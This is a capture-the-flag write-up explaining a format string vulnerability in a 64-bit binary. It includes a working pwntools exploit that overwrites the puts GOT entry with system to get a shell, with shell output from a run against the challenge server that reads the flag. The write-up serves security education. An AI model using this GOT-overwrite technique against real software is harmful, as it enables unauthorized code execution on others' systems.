show-me-what-you-got
4 minutes to read
We are given a 64-bit binary called vuln
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we use Ghidra to extract the decompiled C source code, we see the main
function:
undefined8 main() {
long in_FS_OFFSET;
char local_118[264];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stdout, (char *) 0x0, 2, 0);
setvbuf(stdin, (char *) 0x0, 2, 0);
puts("Send your string to be printed:");
fgets(local_118, 256, stdin);
printf(local_118);
puts("As someone wise once said, `sh`");
puts("(i think? not really sure about that one)");
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
This function has a Format String vulnerability because the variable named local_118
is controlled by us and it is passed as the first argument to printf
. Hence, we can use format string specifiers to leak values from the stack and also write values into the addresses saved in the stack.
There is also a win
function:
void win() {
system("cat flag.txt >/dev/null");
return;
}
But it is useless because the output of cat flag.txt
is redirected to /dev/null
. However, we already have system
linked to the binary, so we don’t have to bypass ASLR in order to call system
.
Notice also this weird message:
puts("As someone wise once said, `sh`");
Suppose that puts
was system
, then we will have a shell because "... `sh`"
will execute sh
. We can check it with a simple C program:
$ cat test.c
#include <stdlib.h>
int main() {
system("As someone wise once said, `sh`");
return 0;
}
$ gcc test.c -o test
$ ./test
id
whoami
uname -a
^C
$ ./test
asdf
sh: 1: asdf: not found
^C
However, notice that we don’t see any output, only errors. But this is enough for exploitation.
The strategy is to modify the Global Offset Table (GOT) and set puts
to be system
, so that we have a shell when executing system("As someone wise once said, `sh`")
. To exploit the Format String vulnerability, we can use fmtstr_payload
from pwntools
, which automates the process of writing bytes to a given address.
First of all, we must determine the offset where our format string is placed in the stack:
$ ./vuln
Send your string to be printed:
%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffff7fa9a03.0.7ffff7ecafd2.7fffffffe610.0.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.9800000000a.98000000980.
As someone wise once said, `sh`
(i think? not really sure about that one)
It is at position 6
. We can verify it like this:
$ ./vuln
Send your string to be printed:
AAAABBBB%6$lx
AAAABBBB4242424241414141
As someone wise once said, `sh`
(i think? not really sure about that one)
And as it can be seen, %6$lx
was replaced by 4242424241414141
(which is AAAABBBB
in hexadecimal format, little-endian). The Format String exploit will abuse the %n
specifier to write values into an address placed in the stack. We can control the address because we know where in memory we can put an address and the position of this value in the stack. The way %n
works is by writing the number of bytes printed until %n
into the given address. And this is the way we can modify the GOT and set puts
to be system
.
The GOT is a nice point for exploitation because it contains the addresses of the external functions used by the binary or the addresses to perform the resolutions if they have not been called yet.
So this is the final exploit, really simple using pwntools
:
#!/usr/bin/env python3
from pwn import context, ELF, fmtstr_payload, remote, sys
context.binary = elf = ELF('vuln')
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
payload = fmtstr_payload(6, {elf.got.puts: elf.sym.system})
p.sendlineafter(b'Send your string to be printed:\n', payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
And we have a shell, but as before, we can’t read from stdout
but from stderr
, so a way to obtain the output is by using $(...)
:
$ python3 solve.py
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './vuln': pid 1200265
[*] Switching to interactive mode
$ $(whoami)
sh: 1: rocky: not found
Now let’s get the flag from the remote instance:
$ python3 solve.py got.ictf.kctf.cloud 1337
[*] './vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to got.ictf.kctf.cloud on port 1337: Done
[*] Switching to interactive mode
$ $(cat flag.txt)
sh: 1: ictf{f0rmat_strings_are_so_cool_tysm_rythm_for_introducing_me}: not found
The full exploit can be found in here: solve.py
.